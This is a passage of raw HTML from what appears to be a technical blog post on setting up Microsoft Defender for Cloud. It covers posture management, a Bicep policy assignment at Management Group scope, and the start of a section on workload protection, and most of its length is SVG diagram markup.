style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='116' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='196' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='244' fill='currentColor' style='font-size:1em'\u003e\u0026amp;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='148' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='196' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='36' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='244' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='196' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='36' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='196' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='244' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='36' fill='currentColor' style='font-size:1em'\u003eQ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='36' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='244' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='36' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='196' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='244' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='244' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='244' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='196' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='244' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='244' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='244' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='244' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch2 id=\"2-cloud-security-posture-management-cspm\"\u003e2. Cloud Security Posture Management (CSPM)\u003c/h2\u003e\n\u003cp\u003eMDC is your security scorecard. Assign the \u003cstrong\u003eMicrosoft Cloud Security Benchmark (ASB)\u003c/strong\u003e at the Management Group scope and you get real-time visibility into your compliance against hundreds of standard controls — things like \u0026ldquo;MFA should be enabled on accounts with owner permissions.\u0026rdquo; The moment a new subscription lands in your Management Group, it\u0026rsquo;s already being measured.\u003c/p\u003e\n\u003ch3 id=\"secure-score-tracking-flow\"\u003eSecure Score Tracking Flow\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 760 249\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 88,64 L 344,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,160 L 608,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,224 L 344,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,8 L 80,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,64 L 80,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,16 L 352,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,120 L 352,136' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,160 L 352,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 616,16 L 616,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 616,216 L 616,232' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='96.000000,224.000000 84.000000,218.399994 84.000000,229.600006' fill='currentColor' transform='rotate(180.000000, 88.000000, 224.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='352.000000,64.000000 340.000000,58.400002 340.000000,69.599998' fill='currentColor' transform='rotate(0.000000, 344.000000, 64.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='616.000000,160.000000 604.000000,154.399994 604.000000,165.600006' fill='currentColor' transform='rotate(0.000000, 608.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='16' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='52' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='52' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='52' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='52' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='100' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='148' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='100' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='116' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='148' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='116' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='148' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='116' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='116' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='116' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='148' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='116' fill='currentColor' style='font-size:1em'\u003e8\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='116' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='148' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='116' fill='currentColor' style='font-size:1em'\u003e%\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='100' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='116' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='100' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='148' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='100' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='148' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='196' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='212' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='212' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='196' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='212' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='196' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='212' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='196' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='212' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='212' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='212' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='196' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='212' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='212' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='196' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='212' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='196' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='212' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='212' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='212' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='196' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='212' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='696' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='696' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='704' y='4' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='704' y='212' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='712' y='4' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='720' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='728' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='736' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='744' y='4' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eBicep Implementation:\u003c/strong\u003e\nAssigning the baseline at scale requires a Management Group-scoped policy assignment with a system-assigned managed identity for DINE remediation. Scope it to the Management Group root and every subscription beneath it inherits coverage — no per-subscription work required.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bicep\" data-lang=\"bicep\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003etargetScope\u003c/span\u003e = \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;managementGroup\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e defenderInitiativeAssignment \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Microsoft.Authorization/policyAssignments@2023-04-01\u0026#39;\u003c/span\u003e = {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;defender-for-cloud-initiative\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  location: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;eastus\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  identity: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;SystemAssigned\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  properties: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    policyDefinitionId: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;/providers/Microsoft.Authorization/policySetDefinitions/1f3afdf9-d0c9-4c3d-847f-89da613e70a8\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"3-workload-protection-plans\"\u003e3. Workload Protection Plans\u003c/h2\u003e\n\u003cp\u003ePosture management tells you what\u0026rsquo;s misconfigured. Workload protection plans catch active threats. For servers and SQL, use \u003cstrong\u003eAgentless Scanning\u003c/strong\u003e — it gives you vulnerability and malware visibility without installing anything on the VM or fighting with agent update cycles. One less thing for your app teams to manage.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bicep\" data-lang=\"bicep\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e#\u003c/span\u003e Example: Enabling Defender \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e Servers P2\n\u003c/span\u003e\u003c/span\u003e\u003cspan 